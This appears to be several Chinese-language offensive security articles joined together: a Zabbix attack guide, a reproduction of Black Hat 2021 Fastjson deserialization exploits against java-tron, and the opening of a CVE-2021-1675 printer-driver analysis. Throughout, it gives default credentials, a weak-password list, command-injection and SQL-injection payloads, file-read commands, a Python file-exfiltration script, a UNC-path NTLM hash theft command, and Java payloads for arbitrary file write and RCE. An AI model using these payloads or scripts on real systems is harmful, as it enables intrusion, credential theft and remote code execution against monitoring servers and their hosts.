command存在命令拼接,但由于传参内容受UnsafeUserParameters参数限制,默认无法传参特殊符号,所以默认配置利用场景有限。
官方漏洞案例可参考CVE-2016-4338漏洞。
- UnsafeUserParameters参数
自定义用户参数是否允许传参任意字符,默认不允许字符\ ' " ` * ? [ ] { } ~ $ ! & ; ( ) < > | # @
风险样例:
UnsafeUserParameters=1
当UnsafeUserParameters参数配置不当时,组合UserParameter自定义参数的传参命令拼接,可导致远程命令注入漏洞。
由Server向Agent下发指令执行自定义参数,即可在Agent上执行任意系统命令。
以 UserParameter=ping[*],echo $1
为例,向Agent执行指令ping[test && whoami]
,经过命令拼接后最终执行echo test && whoami
,成功注入执行shell命令。
- Include参数
加载配置文件目录单个文件或所有文件,通常包含的conf都是配置UserParameter自定义用户参数。
Include=/etc/zabbix/zabbix_agentd.d/*.conf
五、Zabbix Server攻击手法
除了有利用条件的Zabbix Agent漏洞外,默认情况下Agent受限于IP白名单限制,只处理来自Server的请求,所以攻击Zabbix Agent的首要途径就是先拿下Zabbix Server。
经过对Zabbix Server攻击面进行梳理,总结出部分攻击效果较好的漏洞:
1. Zabbix Web后台弱口令
Zabbix安装后自带Admin管理员用户和Guests访客用户(低版本),可登陆Zabbiax后台。
超级管理员默认账号:Admin,密码:zabbix
Guests用户,账号:guest,密码为空
2. MySQL弱口令
从用户习惯来看,运维在配置Zabbix时喜欢用弱口令作为MySQL密码,且搜索引擎的Zabbix配置教程基本用的都是弱口令,这导致实际环境中Zabbix Server的数据库密码通常为弱口令。
除了默认root用户无法外连之外,运维通常会新建MySQL用户 zabbix
,根据用户习惯梳理了zabbix
用户的常见密码:
123456
zabbix
zabbix123
zabbix1234
zabbix12345
zabbix123456
拿下MySQL数据库后,可解密users表的密码md5值,或者直接替换密码的md5为已知密码,即可登录Zabbix Web。
3. CVE-2020-11800 命令注入
Zabbix Server的trapper功能中active checks命令存在CVE-2020-11800命令注入漏洞,该漏洞为基于CVE-2017-2824的绕过利用。
未授权攻击者向Zabbix Server的10051端口发送trapper功能相关命令,利用漏洞即可在Zabbix Server上执行系统命令。
active checks
是Agent主动检查时用于获取监控项列表的命令,Zabbix Server在开启自动注册的情况下,通过active checks
命令请求获取一个不存在的host时,自动注册机制会将json请求中的host、ip添加到interface数据表里,其中CVE-2020-11800漏洞通过ipv6格式绕过ip字段检测注入执行shell命令,受数据表字段限制Payload长度只能为64个字符。
{"request":"active checks","host":"vulhub","ip":"ffff:::;whoami"}
自动注册调用链:
active checks -> send_list_of_active_checks_json() -> get_hostid_by_host() -> DBregister_host()
command
指令可以在未授权的情况下可指定主机(hostid)执行指定脚本(scriptid),Zabbix存在3个默认脚本,脚本中的{HOST.CONN}
在脚本调用的时候会被替换成主机IP。
# scriptid == 1 == /bin/ping -c {HOST.CONN} 2>&1
# scriptid == 2 == /usr/bin/traceroute {HOST.CONN} 2>&1
# scriptid == 3 == sudo /usr/bin/nmap -O {HOST.CONN} 2>&1
scriptid指定其中任意一个,hostid为注入恶意Payload后的主机id,但自动注册后的hostid是未知的,所以通过command
指令遍历hostid的方式都执行一遍,最后成功触发命令注入漏洞。
{"request":"command","scriptid":1,"hostid":10001}
由于默认脚本的类型限制,脚本都是在Zabbix Server上运行,Zabbix Proxy是无法使用command指令的。payload长度受限制可拆分多次执行,必须更换host名称以执行新的payload。
漏洞靶场及利用脚本:Zabbix Server trapper命令注入漏洞(CVE-2020-11800)
4. CVE-2017-2824 命令注入
上面小结已详细讲解,CVE-2017-2824与CVE-2020-11800漏洞点及利用区别不大,不再复述,可参考链接:https://talosintelligence.com/vulnerability_reports/TALOS-2017-0325
漏洞靶场及利用脚本:Zabbix Server trapper命令注入漏洞(CVE-2017-2824)
5. CVE-2016-10134 SQL注入
CVE-2016-10134 SQL注入漏洞已知有两个注入点:
- latest.php,需登录,可使用未关闭的Guest访客账号。
/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,user()),0)
- jsrpc.php,无需登录即可利用。
利用脚本:https://github.com/RicterZ/zabbixPwn
漏洞靶场及利用脚本:zabbix latest.php SQL注入漏洞(CVE-2016-10134)
六、Zabbix Server权限后利用
拿下Zabbix Server权限只是阶段性的成功,接下来的问题是如何控制Zabbix Agent以达到最终攻击目的。
Zabbix Agent的10050端口仅处理来自Zabbix Server或Proxy的请求,所以后续攻击都是依赖于Zabbix Server权限进行扩展,本章节主要讲解基于监控项item功能的后利用。
在zabbix中,我们要监控的某一个指标,被称为“监控项”,就像我们的磁盘使用率,在zabbix中就可以被认为是一个“监控项”(item),如果要获取到“监控项”的相关信息,我们则要执行一个命令,但是我们不能直接调用命令,而是通过一个“别名”去调用命令,这个“命令别名”在zabbix中被称为“键”(key),所以在zabbix中,如果我们想要获取到一个“监控项”的值,则需要有对应的“键”,通过“键”能够调用相应的命令,获取到对应的监控信息。
以Zabbix 4.0版本为例,按照个人理解 item监控项可分为通用监控项、主动检查监控项、Windows监控项、自定义用户参数(UserParameter)监控项,Agent监控项较多不一一例举,可参考以下链接:
1. Zabbix Agent监控项
2. Zabbix Agent Windows监控项
在控制Zabbix Server权限的情况下可通过zabbix_get命令向Agent获取监控项数据,比如说获取Agent的系统内核信息:
zabbix_get -s 172.21.0.4 -p 10050 -k "system.uname"
结合上述知识点,针对item监控项的攻击面进行挖掘,总结出以下利用场景:
1. EnableRemoteCommands参数远程命令执行
Zabbix最为经典的命令执行利用姿势,许多人以为控制了Zabbix Server就肯定能在Agent上执行命令,其实不然,Agent远程执行系统命令需要在zabbix_agentd.conf
配置文件中开启EnableRemoteCommands参数。
在Zabbix Web上添加脚本,“执行在”选项可根据需求选择,“执行在Zabbix服务器” 不需要开启EnableRemoteCommands参数,所以一般控制Zabbix Web后可通过该方式在Zabbix Server上执行命令拿到服务器权限。
如果要指定某个主机执行该脚本,可从Zabbix Web的“监测中 -> 最新数据”功能中根据过滤条件找到想要执行脚本的主机,单击主机名即可在对应Agent上执行脚本。
这里有个常见误区,如果类型是“执行在Zabbix服务器”,无论选择哪台主机执行脚本,最终都是执行在Zabbix Server上。
如果类型是“执行在Zabbix客户端”,Agent配置文件在未开启EnableRemoteCommands参数的情况下会返回报错。
Agent配置文件在开启EnableRemoteCommands参数的情况下可成功下发执行系统命令。
如果不想在Zabbix Web上留下太多日志痕迹,或者想批量控制Agent,拿下Zabbix Server权限后可以通过zabbix_get命令向Agent执行监控项命令,在Zabbix Web执行脚本实际上等于执行system.run监控项命令。
也可以基于Zabbix Server作为隧道跳板,在本地执行zabbix_get命令也能达到同样效果(Zabbix Agent为IP白名单校验)。
2. UserParameter自定义参数命令注入
之前介绍UserParameter参数的时候提到过,执行监控项时UserParameter参数command命令的$1、$2等会被替换成item传参值,存在命令注入的风险,但默认受UnsafeUserParameters参数限制无法传入特殊字符。
当Zabbiax Agent的zabbix_agentd.conf
配置文件开启UnsafeUserParameters参数的情况下,传参值字符不受限制,只需要找到存在传参的自定义参数UserParameter,就能达到命令注入的效果。
举个简单案例,在zabbix_agentd.conf
文件中添加自定义参数:
UserParameter=ping[*],echo $1
默认情况下UnsafeUserParameters被禁用,传入特殊字符将无法执行命令。
在zabbix_agentd.conf
文件中添加 UnsafeUserParameters=1
,command经过传参拼接后成功注入系统命令。
zabbix_get -s 172.19.0.5 -p 10050 -k "ping[test && id]"
UnsafeUserParameters参数配置不当问题在监控规模较大的内网里比较常见,内网渗透时可以多留意Agent配置信息。
3. 任意文件读取
Zabbix Agent如果没有配置不当的问题,是否有其他姿势可以利用呢?答案是肯定的。
Zabbix原生监控项中,vfs.file.contents
命令可以读取指定文件,但无法读取超过64KB的文件。
zabbix_get -s 172.19.0.5 -p 10050 -k "vfs.file.contents[/etc/passwd]"
zabbix_agentd服务默认以低权限用户zabbix运行,读取文件受zabbix用户权限限制。开启AllowRoot参数情况下zabbix_agentd服务会以root权限运行,利用vfs.file.contents
命令就能任意文件读取。
如果文件超过64KB无法读取,在了解该文件字段格式的情况下可利用vfs.file.regexp
命令正则获取关键内容。
4. Windows目录遍历
Zabbix原生监控项中,wmi.get
命令可以执行WMI查询并返回第一个对象,通过WQL语句可以查询许多机器信息,以下例举几种利用场景:
- 遍历盘符
由于wmi.get
命令每次只能返回一行数据,所以需要利用WQL的条件语句排除法逐行获取数据。
比如WQL查询盘符时,只返回了C:
zabbix_get -s 192.168.98.2 -p 10050 -k "wmi.get[root\\cimv2,\"SELECT Name FROM Win32_LogicalDisk\"]"
通过追加条件语句排除已经查询处理的结果,从而获取下一行数据。
zabbix_get -s 192.168.98.2 -p 10050 -k "wmi.get[root\\cimv2,\"SELECT Name FROM Win32_LogicalDisk WHERE Name!='C:'\"]"
可通过脚本一直追加条件语句进行查询,直至出现Cannot obtain WMI information.
代表WQL已经无法查询出结果。从图中可以看到通过wmi.get
命令查询出了该机器上存在C:、D:盘符。
- 遍历目录
获取C:下的目录,采用条件语句排除法逐行获取。
zabbix_get -s 192.168.98.2 -p 10050 -k "wmi.get[root\\cimv2,\"SELECT Caption FROM Win32_Directory WHERE Drive='C:' AND Path='\\\\' \"]"
zabbix_get -s 192.168.98.2 -p 10050 -k "wmi.get[root\\cimv2,\"SELECT Caption FROM Win32_Directory WHERE Drive='C:' AND Path='\\\\' AND Caption != 'C:\\\\\$Recycle.Bin' \"]"
zabbix_get -s 192.168.98.2 -p 10050 -k "wmi.get[root\\cimv2,\"SELECT Caption FROM Win32_Directory WHERE Drive='C:' AND Path='\\\\' AND Caption != 'C:\\\\\$Recycle.Bin' AND Caption != 'C:\\\\\$WinREAgent' \"]"
...
获取C:下的文件,采用条件语句排除法逐行获取。
zabbix_get -s 192.168.98.2 -p 10050 -k "wmi.get[root\\cimv2,\"SELECT Name FROM CIM_DataFile WHERE Drive='C:' AND Path='\\\\' \"]"
zabbix_get -s 192.168.98.2 -p 10050 -k "wmi.get[root\\cimv2,\"SELECT Name FROM CIM_DataFile WHERE Drive='C:' AND Path='\\\\' AND Name != 'C:\\\\\$WINRE_BACKUP_PARTITION.MARKER' \"]"
zabbix_get -s 192.168.98.2 -p 10050 -k "wmi.get[root\\cimv2,\"SELECT Name FROM CIM_DataFile WHERE Drive='C:' AND Path='\\\\' AND Name != 'C:\\\\\$WINRE_BACKUP_PARTITION.MARKER' AND Name !='C:\\\\browser.exe' \"]"
...
利用wmi.get
命令进行目录遍历、文件遍历,结合vfs.file.contents
命令就能够在Windows下实现任意文件读取。
基于zabbix_get命令写了个python脚本,实现Windows的列目录、读文件功能。
import os
import sys
count = 0
def zabbix_exec(ip, command):
global count
count = count + 1
check = os.popen("./zabbix_get -s " + ip + " -k \"" + command + "\"").read()
if "Cannot obtain WMI information" not in check:
return check.strip()
else:
return False
def getpath(path):
return path.replace("\\","\\\\\\\\").replace("$","\\$")
def GetDisk(ip):
where = ""
while(True):
check_disk = zabbix_exec(ip, "wmi.get[root\cimv2,\\\"SELECT Name FROM Win32_LogicalDisk WHERE Name != '' " + where + "\\\"]")
if check_disk:
print(check_disk)
where = where + "AND Name != '" + check_disk+ "'"
else:
break
def GetDirs(ip, dir):
drive = dir[0:2]
path = dir[2:]
where = ""
while(True):
check_dir = zabbix_exec(ip, "wmi.get[root\cimv2,\\\"SELECT Caption FROM Win32_Directory WHERE Drive='" + drive + "' AND Path='" + getpath(path) + "' " + where + "\\\"]")
if check_dir:
print(check_dir)
where = where + "AND Caption != '" + getpath(check_dir) + "'"
else:
break
def GetFiles(ip, dir):
drive = dir[0:2]
path = dir[2:]
where = ""
while(True):
check_file = zabbix_exec(ip, "wmi.get[root\cimv2,\\\"SELECT Name FROM CIM_DataFile WHERE Drive='" + drive + "' AND Path='" + getpath(path) + "' " + where + "\\\"]")
if check_file:
if "Invalid item key format" in check_file:
continue
print(check_file)
where = where + "AND Name != '" + getpath(check_file) + "'"
else:
break
def Readfile(ip, file):
read = zabbix_exec(ip, "vfs.file.contents[" + file + "]")
print(read)
if __name__ == "__main__":
if len(sys.argv) == 2:
GetDisk(sys.argv[1])
elif sys.argv[2][-1] != "\\":
Readfile(sys.argv[1], sys.argv[2])
else:
GetDirs(sys.argv[1],sys.argv[2])
GetFiles(sys.argv[1],sys.argv[2])
print("Request count: " + str(count))
5. Windows UNC路径利用
在Windows Zabbix Agent环境中,可以利用vfs.file.contents
命令读取UNC路径,窃取Zabbix Agent机器的Net-NTLM hash,从而进一步Net-NTLM relay攻击。
Window Zabbix Agent默认安装成Windows服务,运行在SYSTEM权限下。在工作组环境中,system用户的Net-NTLM hash为空,所以工作组环境无法利用。
在域内环境中,SYSTEM用户即机器用户,如果是Net-NTLM v1的情况下,可以利用Responder工具获取Net-NTLM v1 hash并通过算法缺陷解密拿到NTLM hash,配合资源约束委派获取域内机器用户权限,从而拿下Agent机器权限。
也可以配合CVE-2019-1040漏洞,relay到ldap上配置基于资源的约束委派进而拿下Agent机器权限。
zabbix_get -s 192.168.30.200 -p 10050 -k "vfs.file.contents[\\\\192.168.30.243\\cc]"
6. Zabbix Proxy和主动检查模式利用场景
通过zabbix_get工具执行监控项命令只适合Agent被动模式且10050端口可以通讯的场景(同时zabbix_get命令也是为了演示漏洞方便)。
如果在Zabbix Proxy场景或Agent主动检查模式的情况下,Zabbix Server无法直接与Agent 10050端口通讯,可以使用比较通用的办法,就是通过Zabbix Web添加监控项。
以UserParameter命令注入漏洞举例,给指定主机添加监控项,键值中填入监控项命令,信息类型选择文本:
在最新数据中按照筛选条件找到指定主机,等待片刻就能看到执行结果。
任意文件读取漏洞也同理:
通过zabbix_get工具执行结果最大可返回512KB的数据,执行结果存储在MySQL上的限制最大为64KB。
ps: 添加的监控项会一直定时执行,所以执行完后记得删除监控项。
七、参考链接
https://www.zabbix.com/documentation/4.0/zh/manual/config/items/userparameters
https://github.com/vulhub/vulhub
https://talosintelligence.com/vulnerability_reports/TALOS-2017-0325
https://www.zsythink.net/archives/551/
Blackhat 2021 议题详细分析—— FastJson 反序列化漏洞及在区块链应用中的渗透利用
FastJson反序列化0day及在区块链应用中的后渗透利用
PPT链接:http://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Xing-How-I-Use-A-JSON-Deserialization.pdf
一、Fastjson反序列化原理
这个图其实已经能让人大致理解了,更详细的分析移步
Fastjson反序列化原理
二、byPass checkAutotype
关于CheckAutoType相关安全机制简单理解移步
https://kumamon.fun/FastJson-checkAutoType/
以及 https://mp.weixin.qq.com/s/OvRyrWFZLGu3bAYhOPR4KA
https://www.anquanke.com/post/id/225439
https://mp.weixin.qq.com/s/OvRyrWFZLGu3bAYhOPR4KA
一句话总结checkAutoType(String typeName, Class<?> expectClass, int features) 方法的 typeName 实现或继承自 expectClass,就会通过检验
三、议题中使用的Fastjson 的一些已公开Gadgets
- 必须继承 auto closeable。
- 必须具有默认构造函数或带符号的构造函数,否则无法正确实例化。
- 不在黑名单中
- 可以引起 rce 、任意文件读写或其他高风险影响
- gadget的依赖应该在原生jdk或者广泛使用的第三方库中
Gadget自动化寻找
https://gist.github.com/5z1punch/6bb00644ce6bea327f42cf72bc620b80
关于这几条链我们简单复现下
1.Mysql JDBC
搭配使用 https://github.com/fnmsd/MySQL_Fake_Server
import com.alibaba.fastjson.JSON;
public class Payload_test {
public static void main(String[] args){
//搭配使用 https://github.com/fnmsd/MySQL_Fake_Server
String payload_mysqljdbc = "{\"aaa\":{\"@type\":\"\\u006a\\u0061\\u0076\\u0061.lang.AutoCloseable\", \"@type\":\"\\u0063\\u006f\\u006d.mysql.jdbc.JDBC4Connection\",\"hostToConnectTo\":\"192.168.33.128\",\"portToConnectTo\":3306,\"url\":\"jdbc:mysql://192.168.33.128:3306/test?detectCustomCollations=true&autoDeserialize=true&user=\",\"databaseToConnectTo\":\"test\",\"info\":{\"@type\":\"\\u006a\\u0061\\u0076\\u0061.util.Properties\",\"PORT\":\"3306\",\"statementInterceptors\":\"\\u0063\\u006f\\u006d.mysql.jdbc.interceptors.ServerStatusDiffInterceptor\",\"autoDeserialize\":\"true\",\"user\":\"cb\",\"PORT.1\":\"3306\",\"HOST.1\":\"172.20.64.40\",\"NUM_HOSTS\":\"1\",\"HOST\":\"172.20.64.40\",\"DBNAME\":\"test\"}}\n" + "}";
JSON.parse(payload_mysqljdbc);
JSON.parseObject(payload_mysqljdbc);
}
}
更多版本详情参考 https://mp.weixin.qq.com/s/BRBcRtsg2PDGeSCbHKc0fg
2.commons-io写文件
https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg
2.1 commons-io 2.0 - 2.6
String aaa_8192 = "ssssssssssssss"+Some_Functions.getRandomString(8192);
// String write_name = "C://Windows//Temp//sss.txt";
String write_name = "D://tmp//sss.txt";
String payload_commons_io_filewrite_0_6 = "{\"x\":{\"@type\":\"com.alibaba.fastjson.JSONObject\",\"input\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.ReaderInputStream\",\"reader\":{\"@type\":\"org.apache.commons.io.input.CharSequenceReader\",\"charSequence\":{\"@type\":\"java.lang.String\"\""+aaa_8192+"\"},\"charsetName\":\"UTF-8\",\"bufferSize\":1024},\"branch\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.output.WriterOutputStream\",\"writer\":{\"@type\":\"org.apache.commons.io.output.FileWriterWithEncoding\",\"file\":\""+write_name+"\",\"encoding\":\"UTF-8\",\"append\": false},\"charsetName\":\"UTF-8\",\"bufferSize\": 1024,\"writeImmediately\": true},\"trigger\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\"is\":{\"@type\":\"org.apache.commons.io.input.TeeInputStream\",\"input\":{\"$ref\":\"$.input\"},\"branch\":{\"$ref\":\"$.branch\"},\"closeBranch\": true},\"httpContentType\":\"text/xml\",\"lenient\":false,\"defaultEncoding\":\"UTF-8\"},\"trigger2\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\"is\":{\"@type\":\"org.apache.commons.io.input.TeeInputStream\",\"input\":{\"$ref\":\"$.input\"},\"branch\":{\"$ref\":\"$.branch\"},\"closeBranch\": true},\"httpContentType\":\"text/xml\",\"lenient\":false,\"defaultEncoding\":\"UTF-8\"},\"trigger3\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\"is\":{\"@type\":\"org.apache.commons.io.input.TeeInputStream\",\"input\":{\"$ref\":\"$.input\"},\"branch\":{\"$ref\":\"$.branch\"},\"closeBranch\": true},\"httpContentType\":\"text/xml\",\"lenient\":false,\"defaultEncoding\":\"UTF-8\"}}}";
此处在Linux复现时,或者其它环境根据操作系统及进程环境不同fastjson构造函数的调用会出现随机化,在原Poc基础上修改如下即可
2.1 commons-io 2.7.0 - 2.8.0
String payload_commons_io_filewrite_7_8 = "{\"x\":{\"@type\":\"com.alibaba.fastjson.JSONObject\",\"input\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.ReaderInputStream\",\"reader\":{\"@type\":\"org.apache.commons.io.input.CharSequenceReader\",\"charSequence\":{\"@type\":\"java.lang.String\"\""+aaa_8192+"\",\"start\":0,\"end\":2147483647},\"charsetName\":\"UTF-8\",\"bufferSize\":1024},\"branch\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.output.WriterOutputStream\",\"writer\":{\"@type\":\"org.apache.commons.io.output.FileWriterWithEncoding\",\"file\":\""+write_name+"\",\"charsetName\":\"UTF-8\",\"append\": false},\"charsetName\":\"UTF-8\",\"bufferSize\": 1024,\"writeImmediately\": true},\"trigger\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\"inputStream\":{\"@type\":\"org.apache.commons.io.input.TeeInputStream\",\"input\":{\"$ref\":\"$.input\"},\"branch\":{\"$ref\":\"$.branch\"},\"closeBranch\": true},\"httpContentType\":\"text/xml\",\"lenient\":false,\"defaultEncoding\":\"UTF-8\"},\"trigger2\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\"inputStream\":{\"@type\":\"org.apache.commons.io.input.TeeInputStream\",\"input\":{\"$ref\":\"$.input\"},\"branch\":{\"$ref\":\"$.branch\"},\"closeBranch\": true},\"httpContentType\":\"text/xml\",\"lenient\":false,\"defaultEncoding\":\"UTF-8\"},\"trigger3\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\"inputStream\":{\"@type\":\"org.apache.commons.io.input.TeeInputStream\",\"input\":{\"$ref\":\"$.input\"},\"branch\":{\"$ref\":\"$.branch\"},\"closeBranch\": true},\"httpContentType\":\"text/xml\",\"lenient\":false,\"defaultEncoding\":\"UTF-8\"}}";
3.commons-io 逐字节读文件内容
String payload_read_file = "{\"abc\": {\"@type\": \"java.lang.AutoCloseable\",\"@type\": \"org.apache.commons.io.input.BOMInputStream\",\"delegate\": {\"@type\": \"org.apache.commons.io.input.ReaderInputStream\",\"reader\": {\"@type\": \"jdk.nashorn.api.scripting.URLReader\",\"url\": \"file:///D:/tmp/sss.txt\"},\"charsetName\": \"UTF-8\",\"bufferSize\": 1024},\"boms\": [{\"charsetName\": \"UTF-8\",\"bytes\": [11]}]},\"address\": {\"$ref\": \"$.abc.BOM\"}}";
四、New Gadgets 及实现区块链RCE
PPT中提到了,它没有mysql-jdbc链,且为Spring-boot,无法直接写webshell。虽然我们可以覆盖class文件,但是需要root权限,且并不确定charse.jar path。
然后回到目标本身,java tron是tron推出的公链协议的java实现,是一个开源 Java 应用程序,Java-tron 可以在 tron 节点上启用 HTTP 服务内部使用Fastjson解析Json数据。且:
• Leveldb 和 leveldbjni:
• 快速键值存储库
• 被比特币使用,因此被很多公链继承
• 存储区块链元数据,频繁轮询读写
• 需要效率,所以 JNI https://github.com/fusesource/leveldbjn
综上所述,洞主最终利用Fastjson的几个漏洞,结合Levaldbjni的JNI特性,替换/tmp/目录下的so文件最终执行了恶意命令
1.模拟环境 Levaldbjni_Sample
这里我们简单写了一个Levaldbjni的Demo来模拟漏洞环境,
两次执行factory.open(new File("/tmp/lvltest1"), options);都将会加载
/**
* @auther Skay
* @date 2021/8/10 19:35
* @description
*/
import static org.fusesource.leveldbjni.JniDBFactory.factory;
import java.io.File;
import java.io.IOException;
import org.iq80.leveldb.DB;
import org.iq80.leveldb.Options;
public class Levaldbjni_Sample {
public static void main(String[] args) throws IOException, InterruptedException {
Options options = new Options();
Thread.sleep(2000);
options.createIfMissing(true);
Thread.sleep(2000);
DB db = factory.open(new File("/tmp/lvltest"), options);
System.out.println("so file created");
System.out.println("watting attack.......");
Thread.sleep(30000);
System.out.println("Exploit.......");
DB db1 = factory.open(new File("/tmp/lvltest1"), options);
try {
for (int i = 0; i < 1000000; i++) {
byte[] key = new String("key" + i).getBytes();
byte[] value = new String("value" + i).getBytes();
db.put(key, value);
}
for (int i = 0; i < 1000000; i++) {
byte[] key = new String("key" + i).getBytes();
byte[] value = db.get(key);
String targetValue = "value" + i;
if (!new String(value).equals(targetValue)) {
System.out.println("something wrong!");
}
}
for (int i = 0; i < 1000000; i++) {
byte[] key = new String("key" + i).getBytes();
db.delete(key);
}
Thread.sleep(20000);
// Thread.sleep(500000);
} catch (Exception e) {
e.printStackTrace();
} finally {
db.close();
}
}
}
运行时会在tmp目录下生成如下文件
可以看到我们的目标就是替换libleveldbjni-64-5950274583505954902.so
2.commons-io 逐字节读文件名
在议题中中对于commons-io的使用是读取/tmp/目录下的随机生成的so文件名,我们现在可以使用file协议读取文件内容了,这里我们使用netdoc协议读取文件名即可,因为是逐字节读取,我们写一个简单的循环判断即可
public static char fakeChar(char[] fileName){
char[] fs=new char[fileName.length+1];
System.arraycopy(fileName,0,fs,0,fileName.length);
for (char i = 1; i <= 127; i++) {
fs[fs.length-1]=i;
String payload_read_file = "{\"abc\": {\"@type\": \"java.lang.AutoCloseable\",\"@type\": \"org.apache.commons.io.input.BOMInputStream\",\"delegate\": {\"@type\": \"org.apache.commons.io.input.ReaderInputStream\",\"reader\": {\"@type\": \"jdk.nashorn.api.scripting.URLReader\",\"url\": \"netdoc:///tmp/\"},\"charsetName\": \"utf-8\",\"bufferSize\": 1024},\"boms\": [{\"charsetName\": \"utf-8\",\"bytes\": ["+formatChars(fs)+"]}]},\"address\": {\"$ref\": \"$.abc.BOM\"}}";
if (JSON.parse(payload_read_file).toString().indexOf("bOMCharsetName")>0){
return i;
}
}
return 0;
}
执行效果如下
3.so文件的修改
这里需要一点二进制的知识,首先确定下我们要修改哪个函数
修改如下即可
4.写二进制文件
commons-io的链只支持写文本文件,这里测试了一下,不进行base64编码进行单纯文本方式操作二进制文件写入文件前后会产生一些奇妙的变化
议题作者给出了写二进制文件的一条新链
在进行了base64编码后就不存在上述问题,这里感谢浅蓝师傅提供了一些构造帮助,最后此链构造如下:
/**
* @auther Skay
* @date 2021/8/13 14:25
* @description
*/
public class payload_AspectJ_writefile {
public static void write_so(String target_path){
byte[] bom_buffer_bytes = readFileInBytesToString("./beichen.so");
//写文本时要填充数据
// String so_content = new String(bom_buffer_bytes);
// for (int i=0;i<8192;i++){
// so_content = so_content+"a";
// }
// String base64_so_content = Base64.getEncoder().encodeToString(so_content.getBytes());
String base64_so_content = Base64.getEncoder().encodeToString(bom_buffer_bytes);
byte[] big_bom_buffer_bytes = Base64.getDecoder().decode(base64_so_content);
// byte[] big_bom_buffer_bytes = base64_so_content.getBytes();
String payload = String.format("{\n" +
" \"@type\":\"java.lang.AutoCloseable\",\n" +
" \"@type\":\"org.apache.commons.io.input.BOMInputStream\",\n" +
" \"delegate\":{\n" +
" \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\n" +
" \"input\":{\n" +
" \"@type\": \"org.apache.commons.codec.binary.Base64InputStream\",\n" +
" \"in\":{\n" +
" \"@type\":\"org.apache.commons.io.input.CharSequenceInputStream\",\n" +
" \"charset\":\"utf-8\",\n" +
" \"bufferSize\": 1024,\n" +
" \"s\":{\"@type\":\"java.lang.String\"\"%1$s\"\n" +
" },\n" +
" \"doEncode\":false,\n" +
" \"lineLength\":1024,\n" +
" \"lineSeparator\":\"5ZWKCg==\",\n" +
" \"decodingPolicy\":0\n" +
" },\n" +
" \"branch\":{\n" +
" \"@type\":\"org.eclipse.core.internal.localstore.SafeFileOutputStream\",\n" +
" \"targetPath\":\"%2$s\"\n" +
" },\n" +
" \"closeBranch\":true\n" +
" },\n" +
" \"include\":true,\n" +
" \"boms\":[{\n" +
" \"@type\": \"org.apache.commons.io.ByteOrderMark\",\n" +
" \"charsetName\": \"UTF-8\",\n" +
" \"bytes\":" +"%3$s\n" +
" }],\n" +
" \"x\":{\"$ref\":\"$.bOM\"}\n" +
"}",base64_so_content, "D://java//Fastjson_All//fastjson_debug//fastjson_68_payload_test_attck//aaa.so",Arrays.toString(big_bom_buffer_bytes));
// System.out.println(payload);
JSON.parse(payload);
}
public static byte[] readFileInBytesToString(String filePath) {
final int readArraySizePerRead = 4096;
File file = new File(filePath);
ArrayList<Byte> bytes = new ArrayList<>();
try {
if (file.exists()) {
DataInputStream isr = new DataInputStream(new FileInputStream(
file));
byte[] tempchars = new byte[readArraySizePerRead];
int charsReadCount = 0;
while ((charsReadCount = isr.read(tempchars)) != -1) {
for(int i = 0 ; i < charsReadCount ; i++){
bytes.add (tempchars[i]);
}
}
isr.close();
}
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
return toPrimitives(bytes.toArray(new Byte[0]));
}
static byte[] toPrimitives(Byte[] oBytes) {
byte[] bytes = new byte[oBytes.length];
for (int i = 0; i < oBytes.length; i++) {
bytes[i] = oBytes[i];
}
return bytes;
}
}
5.成功RCE
五、参考链接 & 致谢
*感谢voidfyoo、浅蓝、*RicterZ 在Fastjson Poc方面帮助
感谢Swing、Beichen 在二进制方面帮助
最后感谢郑成功不断督促和鼓励才使得这篇文章得以顺利展示到大家面前
https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg
http://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Xing-How-I-Use-A-JSON-Deserialization.pdf
对打印机服务漏洞 CVE-2021-1675 代码执行的验证过程
背景
本月的微软更新包含一个spool的打印机服务本地提权漏洞,自从去年cve-2020-1048被公开以来,似乎许多人开始关注到这一模块的漏洞。鉴于此这个漏洞刚公布出来时,并没有太仔细关注。直到后面关注到绿盟的微信公众号的演示视频,显示这个漏洞可能在域环境特定情况下执行任意代码。所以认为有必要对其原理以及适用范围情况进行分析。
补丁分析
通过补丁对比,可以确定该漏洞触发原理应该是一个在添加打印机驱动的过程中RpcAddPrinterDriverEx()绕过某些检查的漏洞。
根据API文档,RpcAddPrinterDriverEx API用于在打印机服务器上安装打印机驱动;第三个参数为dwFileCopyFlags,指定了服务器在拷贝驱动文件时的行为。文档给出了标志的可能值,结合补丁,我们发现了这样一个标志:APD_INSTALL_WARNED_DRIVER(0x8000),此标志允许服务器安装警告的打印机驱动,也就是说,如果在flag中设置了APD_INSTALL_WARNED_DRIVER,那么我们可以无视警告安装打印机驱动。这刚好是微软补丁试图限制的标志位。
本地提权
我们分析了添加驱动的内部实现(位于localspl.dll的InternalAddPrinterDriver函数),添加驱动的过程如下:
1. 检查驱动签名
2. 建立驱动文件列表
3. 检查驱动兼容性
4. 拷贝驱动文件
如果能够绕过其中的限制,将自己编写的dll复制到驱动目录并加载,就可以完成本地提权。
绕过对驱动文件签名的检查
绕过驱动签名检查的关键函数为ValidateDriverInfo()。分析该函数,我们发现,如果标志位设置了APD_INSTALL_WARNED_DRIVER(0x8000),那么函数会跳过驱动路径和驱动签名的检查。
